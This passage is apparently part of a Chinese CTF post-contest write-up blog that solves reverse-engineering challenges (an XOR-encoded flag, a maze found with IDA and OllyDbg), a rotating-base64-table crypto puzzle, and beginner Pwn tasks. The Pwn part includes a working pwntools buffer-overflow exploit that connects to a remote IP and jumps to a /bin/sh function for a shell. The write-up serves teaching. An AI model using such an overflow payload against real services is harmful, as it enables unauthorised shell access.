class="hljs-keyword">long</span> v30 = <span class="hljs-number">0x55537a6c78687573</span>;<br><span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> v31 = <span class="hljs-number">0x434d4b</span>;<br><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span>&#123;<br>	<br>	<span class="hljs-keyword">int</span> v8 = <span class="hljs-number">115</span>;<br>	<span class="hljs-keyword">int</span> v9 = <span class="hljs-number">26</span>;<br>	<span class="hljs-keyword">do</span>&#123;<br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;%c&quot;</span>,(v9 ^ v8));<br>		v8 = *((BYTE *)&amp;v30 + v9++ <span class="hljs-number">-25</span>);<br>	&#125;<br>	<span class="hljs-keyword">while</span>(v8);<br>	<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>&#125; <br></code></pre></div></td></tr></table></figure>

<p>所以得到全部flag，中间用 _ 连接</p>
<p>welcome_cduxwb_everything_interesting</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115025802096.png" srcset="/img/loading.gif" lazyload></p>
<h4 id="OD-1"><a href="#OD-1" class="headerlink" title="OD"></a>OD</h4><p>因为flag是输入值，OD分析效果不大。故无IDA分析解法。</p>
<h3 id="0x03-Maze"><a href="#0x03-Maze" class="headerlink" title="0x03  Maze"></a>0x03  Maze</h3><h4 id="IDA-2"><a href="#IDA-2" class="headerlink" title="IDA"></a>IDA</h4><p>先看main函数</p>
<figure class="highlight c"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs c"><span class="hljs-function"><span class="hljs-keyword">int</span> __cdecl <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span></span><br><span class="hljs-function"></span>&#123;<br>  <span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span> v3; <span class="hljs-comment">// esi</span><br>  <span class="hljs-keyword">char</span> v4; <span class="hljs-comment">// dl</span><br>  <span class="hljs-keyword">char</span> *v5; <span class="hljs-comment">// edi</span><br>  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v6; <span class="hljs-comment">// ecx</span><br>  <span class="hljs-keyword">char</span> v7; <span class="hljs-comment">// al</span><br>  <span class="hljs-keyword">char</span> YourChoice[<span class="hljs-number">256</span>]; <span class="hljs-comment">// [esp+4h] [ebp-104h]</span><br><br>  welcome();<br>  v3 = <span class="hljs-number">1</span>;<br>  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;How to out of maze?\n&quot;</span>);<br>  scanf_s(<span class="hljs-string">&quot;%s&quot;</span>, YourChoice);<br>  v4 = YourChoice[<span class="hljs-number">0</span>];<br>  <span class="hljs-keyword">if</span> ( YourChoice[<span class="hljs-number">0</span>] )<br>  &#123;<br>    v5 = YourChoice;<br>    v6 = <span class="hljs-number">1</span>;<br>    <span class="hljs-keyword">do</span><br>    &#123;<br>      <span class="hljs-keyword">if</span> ( v4 != <span class="hljs-string">&#x27;w&#x27;</span> &amp;&amp; v4 != <span class="hljs-string">&#x27;a&#x27;</span> &amp;&amp; v4 != <span class="hljs-string">&#x27;s&#x27;</span> &amp;&amp; v4 != <span class="hljs-string">&#x27;d&#x27;</span> )<br>      &#123;          <span class="hljs-comment">// 行为判断 wasd，其他输入均为错误</span><br>        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Error input!&quot;</span>);<br>        _exit(<span class="hljs-number">0</span>);<br>      &#125;<br>      maze[v3] = <span class="hljs-string">&#x27;*&#x27;</span>;   <span class="hljs-comment">// 当前位置变为*，既不允许回头</span><br>      <span class="hljs-keyword">switch</span> ( v4 )<br>      &#123;<br>        <span class="hljs-keyword">case</span> <span class="hljs-string">&#x27;w&#x27;</span>:      <span class="hljs-comment">// w 按理说是向上</span><br>          v3 -= <span class="hljs-number">10</span>;    <span class="hljs-comment">// 所以应该是10个为一排</span><br>          v6 -= <span class="hljs-number">10</span>;<br>          <span class="hljs-keyword">break</span>;<br>        <span class="hljs-keyword">case</span> <span class="hljs-string">&#x27;s&#x27;</span>:<br>          v3 += <span class="hljs-number">10</span>;<br>          v6 += <span class="hljs-number">10</span>;<br>          <span class="hljs-keyword">break</span>;<br>        <span class="hljs-keyword">case</span> <span class="hljs-string">&#x27;a&#x27;</span>:       <span class="hljs-comment">// a是左</span><br>          --v3;<br>          --v6;<br>          <span class="hljs-keyword">break</span>;<br>        <span class="hljs-keyword">case</span> <span class="hljs-string">&#x27;d&#x27;</span>:       <span class="hljs-comment">// d是右</span><br>          ++v3;<br>          ++v6;<br>          <span class="hljs-keyword">break</span>;<br>      &#125;<br>      <span class="hljs-keyword">if</span> ( maze[v3] == <span class="hljs-string">&#x27;*&#x27;</span> || v6 &gt; <span class="hljs-number">50</span> )<br>      &#123;     <span class="hljs-comment">// 不能走到*，不能大于50 &lt;=&gt; 迷宫长度为50，既10*5的矩阵</span><br>        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Wrong way,try again!\n&quot;</span>);<br>        _exit(<span class="hljs-number">0</span>);<br>      &#125;<br>      v7 = (v5++)[<span class="hljs-number">1</span>];<br>      v4 = v7;<br>    &#125;<br>    <span class="hljs-keyword">while</span> ( v7 );<br>  &#125;<br>  <span class="hljs-keyword">if</span> ( maze[v3] == <span class="hljs-string">&#x27;n&#x27;</span> )    <span class="hljs-comment">// 走到终点 ‘n’</span><br>    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Great!You did it!get your flag:\nflag&#123;%s&#125;&quot;</span>, YourChoice);<br>  <span class="hljs-keyword">else</span>              <span class="hljs-comment">// 走完所有步数才走到中间还未到终点</span><br>    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Emmmmmm,It&#x27;s not the end&quot;</span>);<br>  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>&#125;<br></code></pre></div></td></tr></table></figure>

<p>已经清楚了，就是一个迷宫，走出迷宫就好了，所以找到迷宫，还有一个welcome函数没看</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115130828024.png" srcset="/img/loading.gif" lazyload></p>
<p>找到了迷宫是怎么来的，先提取sapceNum，之前讲过的，shift+E</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115131305792.png" srcset="/img/loading.gif" lazyload></p>
<p>写个脚本模拟一下，还是python</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">sN = [<span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">13</span>, <span class="hljs-number">14</span>, <span class="hljs-number">15</span>, <span class="hljs-number">16</span>, <span class="hljs-number">17</span>, <span class="hljs-number">27</span>, <span class="hljs-number">31</span>, <span class="hljs-number">33</span>, <span class="hljs-number">34</span>, <span class="hljs-number">35</span>, <span class="hljs-number">37</span>, <span class="hljs-number">41</span>, <span class="hljs-number">42</span>, <span class="hljs-number">43</span>, <span class="hljs-number">45</span>, <span class="hljs-number">46</span>, <span class="hljs-number">47</span>]<br>maze = <span class="hljs-string">&#x27;*&#x27;</span> * <span class="hljs-number">50</span><br>maze = <span class="hljs-built_in">list</span>(maze)<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> sN:<br>	maze[i] = <span class="hljs-string">&#x27; &#x27;</span><br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">50</span>):		<span class="hljs-comment">#输出</span><br>	<span class="hljs-built_in">print</span>(maze[i],end=<span class="hljs-string">&#x27;&#x27;</span>)<br>	<span class="hljs-keyword">if</span> (i+<span class="hljs-number">1</span>)%<span class="hljs-number">10</span> == <span class="hljs-number">0</span>:<br>		<span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;&#x27;</span>)			<span class="hljs-comment">#换行</span><br>        <br><span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">**  ******</span><br><span class="hljs-string">***     **</span><br><span class="hljs-string">******* **</span><br><span class="hljs-string">* *   * **</span><br><span class="hljs-string">*   *   **</span><br><span class="hljs-string">&#x27;&#x27;&#x27;</span><br></code></pre></div></td></tr></table></figure>

<p>是不是少了点什么？END呢？回到welcome函数再看，当然你看到的是数字，你点一下数字，再按R……</p>
<div class="note note-primary">
            <p>byte_40336D &#x3D; ‘s’;</p><p>byte_403381 &#x3D; ‘n’;</p>
          </div>

<p>跳转过来，其实就是maze中的位置，maze的开头是6C，6D为‘s’，既第二个就是‘s’。同理找到‘n’的位置。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115132221678.png" srcset="/img/loading.gif" lazyload></p>
<p>得到完整迷宫</p>
<figure class="highlight markdown"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs markdown"><span class="hljs-emphasis">*s  <span class="hljs-strong">****</span><span class="hljs-strong">**</span></span><br><span class="hljs-strong"><span class="hljs-emphasis">**</span>*</span>     <span class="hljs-strong">**</span><br><span class="hljs-strong"><span class="hljs-emphasis">*n<span class="hljs-strong">****</span>*</span> **</span><br><span class="hljs-bullet">*</span> <span class="hljs-emphasis">*   *</span> <span class="hljs-strong">**</span><br><span class="hljs-strong"><span class="hljs-emphasis">*   *</span>   **</span><br></code></pre></div></td></tr></table></figure>

<p>走迷宫嘛就。ddsddddsssaawaasaaww</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115132825284.png" srcset="/img/loading.gif" lazyload></p>
<h4 id="OD-2"><a href="#OD-2" class="headerlink" title="OD"></a>OD</h4><p>OD解可就太简单了，本来这题的考点也是OD，IDA不指望他们能分析出来。直接拖入OD，运行，然后搜索字符串</p>
<div class="note note-primary">
            <p>为什么要先运行再搜索字符串，一开始不行吗？肯定是不行的，至于为什么，自己探索吧~</p>
          </div>

<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115133320493.png" srcset="/img/loading.gif" lazyload></p>
<p>一搜就搜出来了，放在记事本里，十个一换行，得到迷宫。直接得到答案。</p>
<div class="note note-info">
            <p>到这里我的题就解完了，思考一下，为什么我都是先IDA后OD，是我的习惯吗？不全是，OD调试程序，为了更准确的找到相应的位置，可以先通过IDA简单分析一下，再使用OD，可以大大提高效率。</p>
          </div>

<hr>
<h2 id="0x10-Crypto"><a href="#0x10-Crypto" class="headerlink" title="0x10 Crypto"></a>0x10 Crypto</h2><p>密码学这玩意吧，玩着听有趣的，出的人多，我就随便整了一道</p>
<h3 id="0x11-Base-for"><a href="#0x11-Base-for" class="headerlink" title="0x11 Base_for"></a>0x11 Base_for</h3><p>直接看python文件吧</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<br><br>table = <span class="hljs-built_in">list</span>(<span class="hljs-string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</span>)<br>TABLE = <span class="hljs-string">b&#x27;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#x27;</span><br>flag = <span class="hljs-string">b&#x27;flag&#123;**************&#125;&#x27;</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">myencode</span>(<span class="hljs-params">S, t, T</span>):</span><br>    t = <span class="hljs-string">&#x27;&#x27;</span>.join(t).encode()<br>    newtable = <span class="hljs-built_in">bytes</span>.maketrans(T, t)<br>    enc = base64.b64encode(S).translate(newtable)<br>    <span class="hljs-built_in">print</span>(enc.decode()[:<span class="hljs-number">5</span>])<br>    <span class="hljs-keyword">return</span> enc<br>    <br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(table)):<br>    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(table)-i-<span class="hljs-number">1</span>): <span class="hljs-comment">#替换base表</span><br>        <span class="hljs-keyword">if</span> table[j] &gt; table[j+<span class="hljs-number">1</span>]:<br>            x = table[j]<br>            table[j]=table[j+<span class="hljs-number">1</span>]<br>            table[j+<span class="hljs-number">1</span>] = x<br>    <span class="hljs-keyword">if</span> i % <span class="hljs-number">10</span> == <span class="hljs-number">0</span>:<br>        flag = myencode(flag,table,TABLE)<br><br>flag = flag.decode()<br><span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;\n&#x27;</span> + flag + <span class="hljs-string">&#x27;\n&#x27;</span>)<br><br><span class="hljs-comment">#ZmxhZ</span><br><span class="hljs-comment">#Wmpsa</span><br><span class="hljs-comment">#Vqpkc</span><br><span class="hljs-comment">#0bFk5</span><br><span class="hljs-comment">#1GJGO</span><br><span class="hljs-comment">#/IR9F</span><br><span class="hljs-comment">#9oZGC</span><br><br><span class="hljs-comment">#9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=</span><br></code></pre></div></td></tr></table></figure>

<div class="note note-primary">
            <p>那么就先说一下什么是base64编码吧，你可以理解为加密。既然为加密，那肯定不是随便加密，得有密码表，这个加密的过程就很好玩，是轮换加密表。</p><p>而代码中的TABLE则是标准表，替换是根据标准表来的。</p>
          </div>

<pre><code class=" mermaid">graph LR
A[标准表] --&gt; B[替换表1] --&gt; F[替换表2] -.-&gt;H[替换表N]
D[明文] --&gt; EN1[加密] --&gt; E[密文1]
B --&gt; EN1 
F --&gt; EN2[加密] --&gt; C[密文2]
E --&gt; EN2
C -.-&gt; EN3[加密]
H -.-&gt; EN3 --&gt; 密文
</code></pre>

<p>这有点翻转加密那味了，但是还是很简单的。直接利用原来的加密程序，记录每次加密的表，再用表反向解密即可</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<br><br>table = <span class="hljs-built_in">list</span>(<span class="hljs-string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</span>)<br>TABLE = <span class="hljs-string">b&#x27;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#x27;</span><br>etable = []<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(table)):<br>    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(table)-i-<span class="hljs-number">1</span>):<br>        <span class="hljs-keyword">if</span> table[j] &gt; table[j+<span class="hljs-number">1</span>]:<br>            x = table[j]<br>            table[j]=table[j+<span class="hljs-number">1</span>]<br>            table[j+<span class="hljs-number">1</span>] = x<br>    <span class="hljs-keyword">if</span> i % <span class="hljs-number">10</span> == <span class="hljs-number">0</span>:<br>        etable.append(<span class="hljs-string">&#x27;&#x27;</span>.join(table).encode())  <span class="hljs-comment">#加密过程改为记录表</span><br><br>enc = <span class="hljs-string">b&#x27;9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=&#x27;</span><br><span class="hljs-comment">#密文为最后一次完整的输出结果</span><br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> etable[::-<span class="hljs-number">1</span>]:  <span class="hljs-comment">#加密为正序，解密则要倒叙</span><br>    newtable = <span class="hljs-built_in">bytes</span>.maketrans(i, TABLE)<br>    enc = base64.b64decode(enc.translate(newtable))<br>    <span class="hljs-built_in">print</span>(enc.decode())  <span class="hljs-comment">#输出每次解密结果</span><br>    <br><span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">/IR9Foxi9qksMKkr+nVKH28MGKdFFWhD/IRs9nNO9qgl+oN6C4VGG2ZNHWgfF38C9oNYGZ4M/aotK3Mr+oJOOn47EKhDPWhgBq4O/mxVBYklCGhfI4V19n84HLEqKIcrCIMqOXEpDHo=</span><br><span class="hljs-string">1GJGOn+l8al7/8VL2XIjQF+O1Gx+6Z+k1/FG8XRH9YN++DBN+FdJQX2m9XF7/EZk1HAkOn+l7aZ3/a6L19+kPXB+2EMt6YJ79F6j45==</span><br><span class="hljs-string">0bFk5qNlRY8W62/pUZ0oUFUp1aFN7GRFUT0YTZIr3rR1RXIp0p0k5qJiNZdW1Epn0U4F9FBRPTo=</span><br><span class="hljs-string">VqpkcqFGbmx5RUtPU5ZaMpdEQ5dNR7ctVF25WUpkbn6ZbXMsUFExPQ==</span><br><span class="hljs-string">WmpsaFo/dENORFZ3WDBGMFg9TXdYMpo9Yms8PQ==</span><br><span class="hljs-string">ZmxhZ4tCNDVlX0F0X2MwX3Z2bn1=</span><br><span class="hljs-string">flag&#123;B45e_1s_S0_fun&#125;</span><br><span class="hljs-string">&#x27;&#x27;&#x27;</span><br></code></pre></div></td></tr></table></figure>

<div class="note note-success">
            <p>嗯？不会python，怎么做，在原来的脚本上，加密那行下面，输出每次的table，然后去<u><em><strong><a target="_blank" rel="noopener" href="http://web.chacuo.net/netbasex">在线网站</a></strong></em></u> 解啊</p><p>记住是逆着来，每次加密都输出前几位，就是为了给你们提示，手动解的时候验证是不是对的</p>
          </div>

<h2 id="0x20-Pwn"><a href="#0x20-Pwn" class="headerlink" title="0x20 Pwn"></a>0x20 Pwn</h2><p>这也算是CTF竞赛中分数占比比较大的一部分了，但是我们没有开班，所以就弄了两道启蒙题</p>
<h3 id="0x21-What’s-nc"><a href="#0x21-What’s-nc" class="headerlink" title="0x21 What’s nc"></a>0x21 What’s nc</h3><p>nc嘛，就不多说了，太简单。直接就给了shell</p>
<p>知道linux指令就行，ls、cat flag级行</p>
<h3 id="0x22-Rip"><a href="#0x22-Rip" class="headerlink" title="0x22 Rip"></a>0x22 Rip</h3><p>先下载附件IDA查看分析，main函数就这么简单，输入什么，就输出什么。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115150057653.png" srcset="/img/loading.gif" lazyload></p>
<p>shift+F12搜索字符串看看。就得到了</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115150254711.png" srcset="/img/loading.gif" lazyload></p>
<p>有Shell函数，所以我们就像办法执行他就行。查看地址</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115150439850.png" srcset="/img/loading.gif" lazyload></p>
<p>找到了，在sueprise函数里面（应该是surprise函数，惊喜嘛，这里出题时打错了，不过不影响做题）</p>
<p>得到 “&#x2F;bin&#x2F;sh” 字段的地址，应该从哪开始执行？从0x4011B1开始。</p>
<p>得到这个地址了，问题是怎么执行到这个函数这来呢？main函数是安全的吗？有地方有漏洞吗，当然有，scanf(“%s”)是不安全的。是存在缓冲区溢出的。查看溢出所需要的长度（既V4的大小）</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115151004367.png" srcset="/img/loading.gif" lazyload></p>
<p>得到了0x30的长度，覆盖到这里就结束了吗？答案是还没有，后面还有8字节的返回地址，要覆盖到这里，所以应该是0x38.</p>
<p>执行exp</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/env python</span><br><span class="hljs-comment">#coding=utf8</span><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context.log_level = <span class="hljs-string">&#x27;debug&#x27;</span>   <span class="hljs-comment">#显示调试的信息</span><br>context.terminal = [<span class="hljs-string">&#x27;gnome-terminal&#x27;</span>,<span class="hljs-string">&#x27;-x&#x27;</span>,<span class="hljs-string">&#x27;bash&#x27;</span>,<span class="hljs-string">&#x27;-c&#x27;</span>]   <span class="hljs-comment">#？</span><br><br>local = <span class="hljs-number">0</span> <span class="hljs-comment">#设置是本地还是远程渗透</span><br><br><span class="hljs-keyword">if</span> local:<br>    p = process(<span class="hljs-string">&#x27;./pwn1&#x27;</span>)<br>    <span class="hljs-comment">#bin = ELF(&#x27;./&#x27;,checksec=False)</span><br>    libc = ELF(<span class="hljs-string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>,checksec=<span class="hljs-literal">False</span>)<br><span class="hljs-keyword">else</span>:<br>    p=remote(<span class="hljs-string">&#x27;47.108.228.77&#x27;</span>,<span class="hljs-number">10001</span>)<br>    <span class="hljs-comment">#bin = ELF(&#x27;./&#x27;,checksec=False)</span><br>    <span class="hljs-comment">#libc = ELF(&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;,checksec=False)</span><br>    <span class="hljs-keyword">pass</span><br><br>bin_sh_addr = <span class="hljs-number">0x4011b1</span><br>payload = <span class="hljs-string">b&#x27;A&#x27;</span>*<span class="hljs-number">0x38</span> + p64(bin_sh_addr)<br><br><span class="hljs-built_in">print</span>(payload)<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">choose2</span>():</span><br>	p.sendline(payload)<br>	p.interactive()<br><br>choose2()<br></code></pre></div></td></tr></table></figure>

<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115151724471.png" srcset="/img/loading.gif" lazyload></p>
<div class="note note-primary">
            <p>运行环境 ：linux</p><p>什么？代码报错？先安装python库pwntools。不会使用pip自学吧，什么都喂到嘴边，那还了得。</p>
          </div>

<h2 id="END"><a href="#END" class="headerlink" title="END"></a>END</h2><p>说真的，这次的题，都是很简单，很好玩了，当然也不全是在课堂上讲过的，目的就是为了让你们学习，能够学到新东西，体验到比赛的快乐和解题的酣畅淋漓感。</p>
<p>continue……</p>

            </div>
            <hr>
            <div>
              <div class="post-metas mb-3">
                
                  <div class="post-meta mr-3">
                    <i class="iconfont icon-category"></i>
                    
                      <a class="hover-with-bg" href="/categories/CTF%E8%B5%9B%E5%90%8E%E6%80%BB%E7%BB%93/">CTF赛后总结</a>
                    
                  </div>
                
                
                  <div class="post-meta">
                    <i class="iconfont icon-tags"></i>
                    
                      <a class="hover-with-bg" href="/tags/CTF/">CTF</a>
                    
                      <a class="hover-with-bg" href="/tags/Reverse/">Reverse</a>
                    
                      <a class="hover-with-bg" href="/tags/Pwn/">Pwn</a>
                    
                  </div>
                
              </div>
              
                <p class="note note-warning">
                  
                    本博客所有文章除特别声明外，均采用 <a target="_blank" href="https://creativecommons.org/licenses/by-sa/4.0/deed.zh" rel="nofollow noopener noopener">CC BY-SA 4.0 协议</a> ，转载请注明出处！
                  
                </p>
              
              
                <div class="post-prevnext">
                  <article class="post-prev col-6">
                    
                    
                      <a href="/archives/Python%E5%AE%9E%E7%8E%B0%E5%88%86%E8%A7%A3GIF%E3%80%81%E8%A3%81%E5%89%AA%E3%80%81%E6%8B%BC%E5%9B%BE.html">
                        <i class="iconfont icon-arrowleft"></i>
                        <span class="hidden-mobile">Python实现分解GIF、裁剪、拼图</span>
                        <span class="visible-mobile">上一篇</span>
                      </a>
                    
                  </article>
                  <article class="post-next col-6">
                    
                    
                      <a href="/archives/Pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html">
                        <span class="hidden-mobile">Pwn环境搭建</span>
                        <span class="visible-mobile">下一篇</span>
                        <i class="iconfont icon-arrowright"></i>
                      </a>
                    
                  </article>
                </div>
              
            </div>

            
              <!-- Comments -->
              <article class="comments" id="comments" lazyload>
                
                  
                
                
  <div id="valine"></div>
  <script type="text/javascript">
    Fluid.utils.loadComments('#valine', function() {
      Fluid.utils.createScript('https://cdn.jsdelivr.net/gh/HCLonely/Valine@latest/dist/Valine.min.js', function() {
        var options = Object.assign(
          {"appId":"5INqyf5xMrWdsn0whn39qjsu-gzGzoHsz","appKey":"6UTAOxyJnjvDwHX3PJagKMg9","path":"window.location.pathname","placeholder":"输入QQ号我就能获取你的企鹅昵称和头像啦~","avatar":"retro","meta":["nick","mail","link"],"requiredFields":[],"pageSize":10,"lang":"zh-CN","highlight":false,"recordIP":false,"serverURLs":"","emojiCDN":null,"emojiMaps":null,"enableQQ":true,"tagMeta":["博主","小伙伴","访客"],"master":"3bbfd45c0631973d5196327805f62511","friends":["2012b2da9e0852350b42a9c21823f3cf","641f794b535aea2ebe2ad543ec35e2f8"]},
          {
            el: "#valine",
            path: window.location.pathname
          }
        )
        new Valine(options);
        Fluid.utils.waitElementVisible('#valine .vcontent', () => {
          Fluid.plugins.initFancyBox('#valine .vcontent img:not(.vemoji)');
        })
      });
    });
  </script>
  <noscript>Please enable JavaScript to view the comments</noscript>


              </article>
            
          </article>
        </div>
      </div>
    </div>
    
      <div class="d-none d-lg-block col-lg-2 toc-container" id="toc-ctn">
        <div id="toc">
  <p class="toc-header"><i class="iconfont icon-list"></i>&nbsp;目录</p>
